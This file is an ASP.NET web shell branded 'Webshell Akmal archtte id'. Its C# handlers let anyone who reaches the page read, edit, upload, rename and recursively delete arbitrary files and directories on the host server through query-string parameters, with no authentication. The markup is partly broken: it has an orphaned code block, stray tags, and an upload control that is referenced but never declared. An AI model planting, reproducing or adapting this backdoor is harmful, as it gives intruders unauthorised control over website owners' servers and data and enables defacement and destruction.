<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
Webshell Akmal archtte id <title>Webshell Akmal archtte id</title>
<style>
body {
font-family: Arial, sans-serif;
background: linear-gradient(to right, black, blue, black), linear-gradient(to bottom, black, blue);
color: #fff;
margin: 0;
padding: 0;
}
.container {
max-width: 800px;
margin: 50px auto;
background: rgba(0, 0, 0, 0.8);
padding: 20px;
border-radius: 10px;
}
.info {
margin-bottom: 20px;
}
.info div {
margin-bottom: 5px;
}
.directory {
color: #00ff00;
}
.file {
color: #00bfff;
}
.options {
margin-top: 20px;
}
.options a {
margin-right: 10px;
text-decoration: none;
color: #fff;
}
.options a:hover {
text-decoration: underline;
}
.file-list {
margin-top: 20px;
}
.file-list table {
width: 100%;
border-collapse: collapse;
}
.file-list th, .file-list td {
border: 1px solid #444;
padding: 8px;
text-align: left;
}
.file-list th {
background-color: #333;
}
.edit-file {
margin-top: 20px;
}
.footer {
text-align: center;
margin-top: 20px;
font-size: 12px;
color: #bbb;
}
.audio-player {
margin-top: 20px;
text-align: center;
}
audio {
width: 100%;
max-width: 300px;
margin: 10px 0;
}
</style>
</div>
<%
}
%>
<asp:TextBox ID="EditTextBox" runat="server" TextMode="MultiLine" Rows="20" Columns="80" Visible="false"></asp:TextBox>
<asp:Button ID="SaveButton" runat="server" Text="Save" OnClick="SaveFile" Visible="false" />
<div class="footer">
© Akmal archtte id
<div class="audio-player">
<audio controls>
<source src="https://e.top4top.io/m_3101b5t1k0.mp3" type="audio/mpeg">
Your browser does not support the audio element.
</audio>
</div>
</div>
</div>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack && Request.QueryString["action"] == "edit" && !string.IsNullOrEmpty(Request.QueryString["file"]))
{
string filePath = Request.QueryString["file"];
if (File.Exists(filePath))
{
string fileContent = File.ReadAllText(filePath);
EditTextBox.Text = fileContent;
EditTextBox.Visible = true;
SaveButton.Visible = true;
}
}
}
protected void UploadFile(object sender, EventArgs e)
{
if (FileUpload1.HasFile)
{
string currentDirectory = Request.QueryString["dir"] ?? Server.MapPath("~/");
string savePath = Path.Combine(currentDirectory, FileUpload1.FileName);
FileUpload1.SaveAs(savePath);
Response.Redirect(Request.Url.AbsoluteUri);
}
}
protected void SaveFile(object sender, EventArgs e)
{
string filePath = Request.QueryString["file"];
if (!string.IsNullOrEmpty(filePath) && File.Exists(filePath))
{
File.WriteAllText(filePath, EditTextBox.Text);
Response.Redirect(Request.Url.AbsoluteUri);
}
}
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
string action = Request.QueryString["action"];
string path = Request.QueryString["file"] ?? Request.QueryString["dir"];
if (action == "delete" && !string.IsNullOrEmpty(path))
{
if (Directory.Exists(path))
{
Directory.Delete(path, true);
}
else if (File.Exists(path))
{
File.Delete(path);
}
Response.Redirect(Request.Url.AbsoluteUri);
}
else if (action == "rename" && !string.IsNullOrEmpty(path))
{
string newName = Request.Form["newName"];
if (!string.IsNullOrEmpty(newName))
{
string newPath = Path.Combine(Path.GetDirectoryName(path), newName);
if (Directory.Exists(path))
{
Directory.Move(path, newPath);
}
else if (File.Exists(path))
{
File.Move(path, newPath);
}
Response.Redirect(Request.Url.AbsoluteUri);
}
}
}
</script>